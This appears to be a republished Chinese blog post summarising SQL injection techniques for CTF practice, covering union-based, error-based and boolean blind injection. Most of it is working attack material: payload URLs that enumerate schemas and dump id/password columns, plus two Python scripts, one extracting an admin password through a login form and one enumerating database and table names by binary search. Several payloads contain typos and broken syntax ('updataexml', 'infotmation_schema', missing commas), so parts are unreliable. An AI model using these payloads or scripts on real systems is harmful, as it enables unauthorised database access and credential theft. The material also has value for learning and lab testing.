SQL注入小结
Posted YutaoSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入小结相关的知识,希望对你有一定的参考价值。
1.联合查询注入:
http://xxxx.xx/?id=1'
http://xxxx.xx/?id=1' order by 4#
union前后的字段数要一致
http://xxxx.xx/?id=1' union 1,2,3,database()#
假设当前数据库:bugku
user():
database():
table_schema:库名
table_name:表名
column_name:列名
先介绍几个函数:
一 concat()函数
1、功能:将多个字符串连接成一个字符串。
2、语法:concat(str1, str2,...)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
3、语法:concat(str1, seperator,str2,seperator,...)
返回结果为连接参数产生的字符串并且有分隔符,如果有任何一个参数为null,则返回值为null。
二 concat_ws()函数
1、功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就是concat with separator)
2、语法:concat_ws(separator, str1, str2, ...)
说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。
三 group_concat()函数
1、功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
http://xxxx.xx/?id=1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata#
列出所有数据库
mysql5.0之后提供information.schema表
information_schema.schemata:所有数据库的基本信息,show databases()的结果取自于该表
information_schema.tables:所有表
information_schema.columns:所有列信息
group_concat():连接一个组的所有字符串,并以逗号隔开
concat():连接一个或多个字符串
concat_ws(p1,p2):第一个参数是分隔符('~')(','),第二个参数嗯。。
http://xxxx.xx/?id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='flagku'#
列出flagku库中所有表名
假设有flagtable表
http://xxxx.xx/?id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='flagtable'#
flagku.flagtable中所有的字段
假设有id,pwd
http://xxxx.xx/?id=1' union select 1,2,3,group_concat(id,'-',pwd) from flagku.flagtable#
http://xxxx.xx/?id=1' union select 1,2,3,group_concat(concat_ws('~',id,pwd)) from flagku.flagtable#
爆出id,pwd
2.报错注入
首先提供两个函数:
extractvalue() 和 updatexml()
http://xxxx.xx/?id=1' and updataexml(1,concat('~',select schema_name from information_schema.schemata limit 0,1),1)
获取数据库名
http://xxxx.xx/?id=1' and updataexml(1,concat('~',select table_name from information_schema.tables where table_schema='flagku' limit 0,1),1)
flagku的表名
http://xxxx.xx/?id=1' and updataexml(1,concat('~',select column_name from information_schema.columns where colume_schema='flagtable' limit 0,1),1)
flagku.flagtable的字段名
http://xxxx.xx/?id=1' and updataexml(1,concat('~',select group_concat(id,'-',pwd) from flagku.flagtable),1)
爆id,pwd
可以引入substr( )函数和ascii( )函数进行单个字符的比较以及ASCII码的判断
3.盲注
length():返回字符串的长度
mid(str,pos,num) :截取指定位置指定长度的字符串
ascii():查询ascii码中对应的值
left(string, n):得到字符串string左边n个字符
right(string, n):得到字符串string右边n个字符
substr(), substring(), mid()函数实现的功能是一样的, 均为截取字符串, 而且用法相同第一个参数是想要截取的字符串,第二个参数是起始位置,第三个是要截取的长度
if(cs1,cs2,cs3):C语言的三目运算符cs1?cs2:cs3相同
count():用来统计表的行数,也就是统计记录行数
猜数据库名:
1 'and (length(database()))>3#
之后一直判断,假设数据库长度是4
1' and ascii(substr(database(),1,1))=119# w
1' and ascii(substr(database(),2,1))=101# e
1' and ascii(substr(database(),3,1))=98# b
1' and ascii(substr(database(),4,1))=49# 1
猜测表的个数
1' and (select count(table_name) from infotmation_schema.tables where table_schema=databases())=2#
猜表名
第一个表:
1' and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4#
第一个表名长度为4
1' and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)1,1)=102# f
1' and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)2,1)=108# l
1' and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)3,1)=97# a
1' and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)4,1)=103# g
第二个表
1' and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=5#
第一个表名长度为4
1' and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)1,1)=102# f
1' and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)2,1)=108# l
1' and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)3,1)=97# a
1' and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)4,1)=103# g
1' and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)4,1)=103# g
猜列名:
第一个表列名长度:
1' and length(select column_name from information_schema.columns where table_scheme=databases() and table_name='flag' limit 1)=4#
假设列表名长度为4
1' and ascii(substr(select column_name from information_schema.columns where table_schema=databases() and table_name='flag' limit1)1,1)=102# f
1' and ascii(substr(select column_name from information_schema.columns where table_schema=databases() and table_name='flag' limit1)2,1)=108# a
1' and ascii(substr(select column_name from information_schema.columns where table_schema=databases() and table_name='flag' limit1)3,1)=97# l
1' and ascii(substr(select column_name from information_schema.columns where table_schema=databases() and table_name='flag' limit1)4,1)=103# g
猜数据:
1' and (select count(*) from flag)=1#
有一行数据
1' and length(select flag from flag limit 1)=26
数据长度是26
1' and ascii(substr(select flag from flag limit 1)1,1)=102#
第一个字符为f,之后burp跑就oj8k.
下面是两个盲注的脚本(来自网络)
#coding=utf-8
import requests
def login(_username,_password):
#需要改动处
url = "http://xxxxx.xx/login.php"
data = {
"username":_username,
"password":_password
}
response = requests.post(url,data=data)
content = response.content
#print content
#这里是判断盲注的单个字符是否正确的条件,一般这个脚本模板在使用之前要修改此处
#此题是因为注入username字段,当payload后面的语句正确的时候,返回的是密码错误,如果错误返回用户名错误
#payload=_username = "amin' or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username='admin'),%d,1)))=%d))#" %(i,j)
if "密码错误" in content:
return True
else:
return False
def main():
find_name = ""
# i 表示了所要查找的名字的最大长度
for i in range(0x50):
# 0x80=128 , 0x20=32, 32-128为可显示的字符的区间
for j in range(0x80 , 0x20 , -1):
#mysql 官方注释 "-- " --后面有空格,或者用 "#"
#_username = "amin' or (((asCIi(sUBsTring((sELect/**/gROup_conCAt(sCHEma_name)/**/From/**/inFormation_SChema.scHemata),%d,1)))=%d))#" %(i,j) #此处是payload,需要改动
#_username = "amin' or (((asCIi(sUBsTring((sELect/**/sCHEma_name/**/From/**/inFormation_SChema.scHemata/**/Limit/**/3,1),%d,1)))=%d))#" %(i,j)
#_username = "amin' or (((asCIi(sUBsTring((sELect/**/group_concat(Table_name)/**/From/**/inFormation_SChema.tAbles/**/where/**/taBle_schema='sql1'),%d,1)))=%d))#" %(i,j)
#_username = "amin' or (((asCIi(sUBsTring((sELect/**/group_concat(columN_name)/**/From/**/inFormation_SChema.columns/**/where/**/taBle_naMe='admin'),%d,1)))=%d))#" %(i,j)
_username = "amin' or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username='admin'),%d,1)))=%d))#" %(i,j)
#_username = "amin' or (ASCII(sUBsTring((user()),%d,1)=%d )) --" %(i,j)
#_username = "amin'or(((asCIi(sUBString((sELEct/**/group_concat(scheMA_Name)/**/FRom/**/inforMATion_scheMa.schemaTa),%d,1)))=%d))-- " % (i, j)
#可改动处
_password="amin"
print _username
if login(_username,_password):
find_name+=chr(j)
print find_name
break
main()
# 1.布尔盲注
# 页面有不同的响应word1,word2
# 可猜解数据库长度、个数、名字、表个数、表长度、名字、字段、
# 长度:length,order by
# 个数:count
# 名字:ascii,substr
import requests
import time
from math import ceil
class SqlInject(object):
headers = {
"headers":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
}
data= {}
@classmethod
def judge(cls,url):
if bool(SqlInject.data):
result = None
# print(result)
else:
result = requests.get(url=url,headers=SqlInject.headers,timeout=5).text
return result
def __init__(self,url,word1,word2):
self.url = url
self.word1=word1
self.word2=word2
#word1 in result we think you get result
def get_Current_Db_Len(self):
for i in range(1,20):
payload = "?id=1%27+and+(length(database())={})--+".format(i)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
print("database len:"+str(i)+"\n")
return i
#information db the number db
def get_All_Db_Len(self,Db_number):
for i in range(1,20):
payload = "?id=1%27+and+(select+((select+length(concat(schema_name))+from+information_schema.schemata+limit+{},1)={}))--+".format(Db_number,i)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
print("Database_len:"+str(i)+"\n")
return i
def get_All_Db_Number(self):
for i in range(1,20):
payload = "?id=1%27+and+(select+{}=(select count(*) from information_schema.schemata))--+".format(i)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
print("Db_number:"+str(i)+"\n")
return i
def get_Current_DbName(self):
table_list = []
#二分法获取数据库名
Namelen = self.get_Current_Db_Len()
TempLen = 0
DbName = ""
try:
while(True):
temp_bottom = 33
temp_top = 126
while(True):
#当前ascii小于temp_top
payload = "?id=1%27+and+((ascii(substr(database(),{},1))) < {})--+".format(TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
# print(final_payload)
if self.word1 in result:
temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
#循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
interval = ceil((temp_top-temp_bottom)/2)
continue
#当前ascii大于temp_top
payload = "?id=1%27+and+((ascii(substr(database(),{},1))) > {})--+".format(TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
temp_bottom = temp_top
temp_top = temp_top + interval
continue
#当前ascii等于temp_top
payload = "?id=1%27+and+((ascii(substr(database(),{},1))) = {})--+".format(TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if interval == 0:
exit("unknown error about variable interval")
if self.word1 in result:
DbName += chr(temp_top)
print("Database_name:"+DbName)
TempLen += 1
break
if TempLen == Namelen:
table_list.append("Database_name:"+DbName)
break
except Exception as e:
print("Unknown error:",e)
return table_list
def get_All_Db_Name(self):
number = self.get_All_Db_Number()
Database_list = []
for i in range(0,number):
Database_Name = ""
#二分法获取每个数据库名
Namelen = self.get_All_Db_Len(i)
TempLen = 0
try:
while(True):
temp_bottom = 33
temp_top = 126
while(True):
#当前ascii小于temp_top
payload = "?id=1%27+and+(ascii(substr((select schema_name from information_schema.schemata limit {},1),{},1)) < {})--+".format(i,TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
# print(final_payload)
if self.word1 in result:
temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
#循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
interval = ceil((temp_top-temp_bottom)/2)
continue
#当前ascii大于temp_top
payload = "?id=1%27+and+(ascii(substr((select schema_name from information_schema.schemata limit {},1),{},1)) > {})--+".format(i,TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
temp_bottom = temp_top
temp_top = temp_top + interval
continue
#当前ascii等于temp_top
payload = "?id=1%27+and+(ascii(substr((select schema_name from information_schema.schemata limit {},1),{},1)) = {})--+".format(i,TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if interval == 0:
exit("unknown error about variable interval")
if self.word1 in result:
Database_Name += chr(temp_top)
print("Database_name:"+Database_Name)
TempLen += 1
break
if TempLen == Namelen:
Database_list.append("Database_name:"+Database_Name)
break
except Exception as e:
print("Unknown error:",e)
return Database_list
def get_CurrentDb_Table_Number(self):
for i in range(1,20):
payload = "?id=1%27+and+(select+{}=(select+count(*)+from+information_schema.tables+where+table_schema=database()))--+".format(i)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
print("Table_number:"+str(i)+"\n")
return i
def get_CurrentDb_TableName_Len(self,table_number):
for i in range(1,20):
payload = "?id=1%27+and+(select+((select+length(concat(table_name))+from+information_schema.tables+where+table_schema=database()+limit+{},1)={}))--+".format(table_number,i)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
print("TableName_number:"+str(i)+"\n")
return i
def get_CurrentDb_Table_Name(self):
number = self.get_CurrentDb_Table_Number()
table_list = []
for i in range(0,number):
table_name = ""
#二分法获取每个表名
Namelen = self.get_CurrentDb_TableName_Len(i)
TempLen = 0
try:
while(True):
temp_bottom = 33
temp_top = 126
while(True):
#当前ascii小于temp_top
payload = "?id=1%27+and+(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)) < {})--+".format(i,TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
# print(final_payload)
if self.word1 in result:
temp_top = (temp_top-ceil((temp_top-temp_bottom)/2))
#循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
interval = ceil((temp_top-temp_bottom)/2)
continue
#当前ascii大于temp_top
payload = "?id=1%27+and+(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)) > {})--+".format(i,TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
temp_bottom = temp_top
temp_top = temp_top + interval
continue
#当前ascii等于temp_top
payload = "?id=1%27+and+(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)) = {})--+".format(i,TempLen+1,temp_top)
final_payload=self.url+payload
result = SqlInject.judge(final_payload)
if interval == 0:
exit("unknown error about variable interval")
if self.word1 in result:
table_name += chr(temp_top)
print("Table_name:"+table_name)
TempLen += 1
break
if TempLen == Namelen:
table_list.append("Table_name:"+table_name)
break
except Exception as e:
print("Unknown error:",e)
return table_list
def main():
url="http://127.0.0.1:8081/Less-8/"
word1="You are in"
word2="You are not in"
sqli = SqlInject(url=url,word1=word1,word2=word2)
one = float(time.time())
print(sqli.get_CurrentDb_Table_Name())
two = float(time.time())
interval = two-one
print(interval)
if __name__ == '__main__':
main()
延时盲注和报错盲注没写,暂时就先这样,之后把bugku、buu等平台的SQL注入类型的题全做一遍,再水一篇。
以上是关于SQL注入小结的主要内容,如果未能解决你的问题,请参考以下文章